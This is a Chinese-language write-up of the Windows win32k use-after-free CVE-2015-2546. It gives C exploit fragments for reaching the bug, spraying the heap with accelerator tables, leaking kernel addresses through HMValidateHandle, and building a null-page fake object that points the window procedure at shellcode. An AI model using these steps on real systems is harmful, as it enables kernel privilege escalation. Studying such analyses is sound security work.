CVE-2015-2546 内核Use After Free漏洞分析
字数 1047 2025-08-27 12:33:48
CVE-2015-2546 内核Use After Free漏洞分析与利用
漏洞概述
CVE-2015-2546是Windows内核中的一个Use After Free漏洞,与CVE-2014-4113类似,都存在于win32k.sys模块中。该漏洞允许攻击者通过精心构造的消息触发内核中的释放后使用条件,最终实现任意代码执行。
漏洞原理
漏洞位于xxxMNMouseMove函数中,核心问题是tagMENUWND->pPopupMenu结构的Use After Free。补丁分析显示,微软在修复时添加了对[eax+0B0h](即tagMENUWND->pPopupMenu)的检测。
漏洞触发流程:
- 进入
xxxMNMouseMove函数 - 函数中调用
xxxSendMessage发送用户模式回调 - 在回调函数中销毁传入的窗口并占用其内存
- 由于缺乏检查,后续会将占用的
pPopupMenu结构传入xxxMNHideNextHierarchy函数 - 通过构造发送的消息实现内核任意代码执行
漏洞利用步骤
1. 抵达漏洞点
漏洞点位于xxxHandleMenuMessages函数中,需要通过发送特定消息到达xxxMNMouseMove函数。
// 在窗口回调函数中构造消息
if (uMsg == WM_ENTERIDLE) {
PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hWnd, WM_MOUSEMOVE, 0, 1); // 第四个参数必须为1
}
2. 绕过检查
xxxMNMouseMove函数中有多个检查需要绕过:
v6 = xxxMNFindWindowFromPoint(...);
v7 = v6;
if (v7 == 0xFFFFFFFB) {...} // 不能等于-5
else {
if (v7 == 0xFFFFFFFF) // 不能等于-1
if (v7) { // 不能为0
if (IsWindowBeingDestroyed(v7)) return;
...
tagPOPUPMENU = *(DWORD**)(v7 + 0xB0); // 获取tagPOPUPMENU
...
xxxSendMessage((PVOID)v7, 0xE5, UnicodeString, 0); // 处理1E5h
if (v10 & 0x10 && ...) {
xxxSendMessage((PVOID)v7, 0xF0, 0, 0); // 处理1F0h
xxxMNHideNextHierarchy(tagPOPUPMENU); // 触发漏洞
}
}
}
3. 构造Fake Structure
使用CreateAcceleratorTable函数进行堆喷:
LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 0x5); // 0x28大小
// 创建加速键表实现堆喷
for (int i = 0; i < 50; i++) {
hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5);
index = LOWORD(hAccel[i]);
Address = &gHandleTable[index];
pAcceleratorTable[i] = (PUCHAR)Address->pKernel;
}
// 释放部分加速键表制造空洞
for (int i = 2; i < 50; i = i + 5) {
DestroyAcceleratorTable(hAccel[i]);
}
4. 泄露内核地址
创建类名为#32768的窗口,通过pself指针泄露内核地址:
// 查找HMValidateHandle函数
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
// 通过硬编码查找函数偏移
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
// 获取内核地址
PTHRDESKHEAD tagWND2 = (PTHRDESKHEAD)pHmValidateHandle(hwnd2, 1);
PVOID tagPopupmenu = tagWND2->pSelf;
5. 构造回调函数
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
LPACCEL lpAccel;
// 处理1EB消息
if (uMsg == 0x1EB) {
return (LONG)hwnd2;
}
// 处理1F0消息
else if (uMsg == 0x1F0) {
if (hwnd2 != NULL) {
DestroyWindow(hwnd2); // 释放tagPopupMenu
// 用加速键表占用释放的内存
lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 0x5);
for (int i = 0; i < 50; i++) {
CreateAcceleratorTable(lpAccel, 0x5);
}
}
return 0;
}
// 处理1E5消息
else if (uMsg == 0x1E5) {
return 0x10;
}
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam);
}
6. 绕过最终检查
在xxxMNHideNextHierarchy函数中需要绕过几处关键检查:
*(PVOID*)(0xD) = pThreadInfo; // 0x0D - 0x5 = 0x8
*(BYTE*)(0x1B) = (BYTE)4; // 0x1B - 0x5 = 0x16, bServerSideWindowProc change!
*(PVOID*)(0x65) = (PVOID)ShellCode; // 0x65 - 0x5 = 0x60, lpfnWndProc
完整利用流程
- 创建一个主窗口,在回调函数中发送三次消息模拟事件,到达
xxxMNMouseMove函数 - 进行堆喷射并制造内存空洞
- 泄露内核地址
- 创建菜单窗口并泄露其地址
- 构造零页假结构体
- 构造回调函数截获消息
- 调用
TrackPopupMenu函数触发漏洞
总结
CVE-2015-2546是一个典型的Use After Free漏洞,利用过程需要:
- 精确控制内存布局
- 绕过多个安全检查
- 构造假的kernel对象
- 通过回调函数控制执行流程
调试此类漏洞时,建议先理解CVE-2014-4113,因为两者利用方式非常相似。Use After Free漏洞通常需要结合堆喷技术和精心构造的fake object来实现利用。